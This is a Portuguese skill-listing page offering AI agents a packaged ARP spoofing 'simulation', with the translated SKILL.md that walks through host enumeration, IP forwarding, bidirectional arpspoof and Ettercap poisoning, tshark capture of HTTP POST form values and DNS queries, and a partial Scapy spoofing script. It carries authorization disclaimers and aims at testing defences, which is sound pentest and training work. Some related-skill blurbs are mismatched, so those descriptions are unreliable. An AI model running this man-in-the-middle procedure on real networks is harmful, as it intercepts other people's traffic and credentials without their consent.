performing-arp-spoofing-attack-simulation
Faz seu agente simular ataques de ARP spoofing para testar a segurança da rede em ambientes controlados.
O que ela faz
Este recurso simula ataques de falsificação de ARP em redes de teste autorizadas. Ele ajuda a verificar se as defesas da rede, como firewalls e sistemas de detecção de intrusos, conseguem identificar e bloquear esse tipo de ataque.
Quando usar
- ✓Testar a segurança de uma rede em laboratório antes de colocá-la em produção.
- ✓Demonstrar como um ataque de 'man-in-the-middle' pode funcionar para sua equipe.
- ✓Verificar se seus sistemas de monitoramento de rede alertam sobre atividades suspeitas.
Exemplo do que pedir para a IA
“Simule um ataque de falsificação de ARP na minha rede de testes para ver se o IDS detecta.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ele funciona enganando dispositivos na rede para que enviem dados através do seu computador, em vez de irem diretamente ao destino. Isso permite observar se os sistemas de segurança percebem essa mudança.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-arp-spoofing-attack-simulationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Simulação de Ataque de ARP Spoofing
Quando Usar
- Testar se switches de rede e infraestrutura implementam corretamente a Inspeção Dinâmica de ARP (DAI)
- Demonstrar riscos de ataque man-in-the-middle para stakeholders durante avaliações de segurança autorizadas
- Validar que ferramentas de monitoramento de rede (IDS/IPS, SIEM) detectam tentativas de envenenamento de cache ARP
- Avaliar a eficácia de controles de segurança de porta, 802.1X e segmentação de VLAN
- Treinar analistas de SOC para reconhecer indicadores de ARP spoofing no tráfego de rede
Não use em redes de produção sem autorização escrita explícita e um plano de reversão, contra redes que transportam tráfego crítico ou de segurança de vida, ou como um vetor de ataque de negação de serviço.
Pré-requisitos
- Autorização escrita especificando os segmentos de rede em escopo para a simulação de ARP spoofing
- Kali Linux ou distribuição similar de testes de penetração com arpspoof, Ettercap e Scapy instalados
- Acesso direto na Camada 2 ao segmento de rede alvo (mesma VLAN dos hosts alvo)
- Conhecimento de encaminhamento de IP e capacidade de habilitar/desabilitar o encaminhamento de pacotes na máquina atacante
- Wireshark ou tcpdump para capturar tráfego e verificar a interceptação
- Ambiente de laboratório isolado ou janela de teste de produção aprovada
Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Etapa 1: Enumerar o Segmento de Rede Alvo
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0
# Identify target hosts and their MAC addresses
arp-scan -l -I eth0
# Verify the current ARP table
arp -a
# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup
Etapa 2: Habilitar Encaminhamento de IP
# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1
# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1
# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
Etapa 3: Executar ARP Spoofing com arpspoof
# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
Etapa 4: Capturar e Analisar Tráfego Interceptado
# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
Etapa 5: Demonstrar Impacto com Scapy (Pacotes ARP Personalizados)
#!/usr/bin/env python3
"""Demonstração de ARP spoofing usando Scapy para testes de segurança autorizados."""
from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys
conf.verb = 0
def get_mac(ip, iface="eth0"):
"""Resolve IP para endereço MAC via requisição ARP."""
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=iface)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
"""Envia resposta ARP falsificada para o alvo."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
"""Restaura entradas ARP legítimas."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
…
Perguntas frequentes
Posso usar isso na minha rede normal?
Não, este recurso só deve ser usado em ambientes de laboratório ou em redes de produção com permissão explícita e um plano para reverter as mudanças. Usá-lo sem autorização é ilegal.
O que é falsificação de ARP?
É uma técnica onde um atacante envia mensagens falsas para a rede, associando o endereço MAC do atacante ao endereço IP de outro dispositivo (como o roteador). Isso faz com que o tráfego seja enviado para o atacante.
Quais ferramentas são usadas?
As ferramentas comuns incluem arpspoof, Ettercap e Scapy, que são programas especializados em manipulação de rede.
Detalhes
Descrição original do autor
Simulates ARP spoofing/cache-poisoning attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risk and validate Dynamic ARP Inspection, port security, and network monitoring detections. Use when testing whether switches, IDS/IPS, or a SIEM detect ARP spoofing under written authorization; do not use on production networks without expli
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6022
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC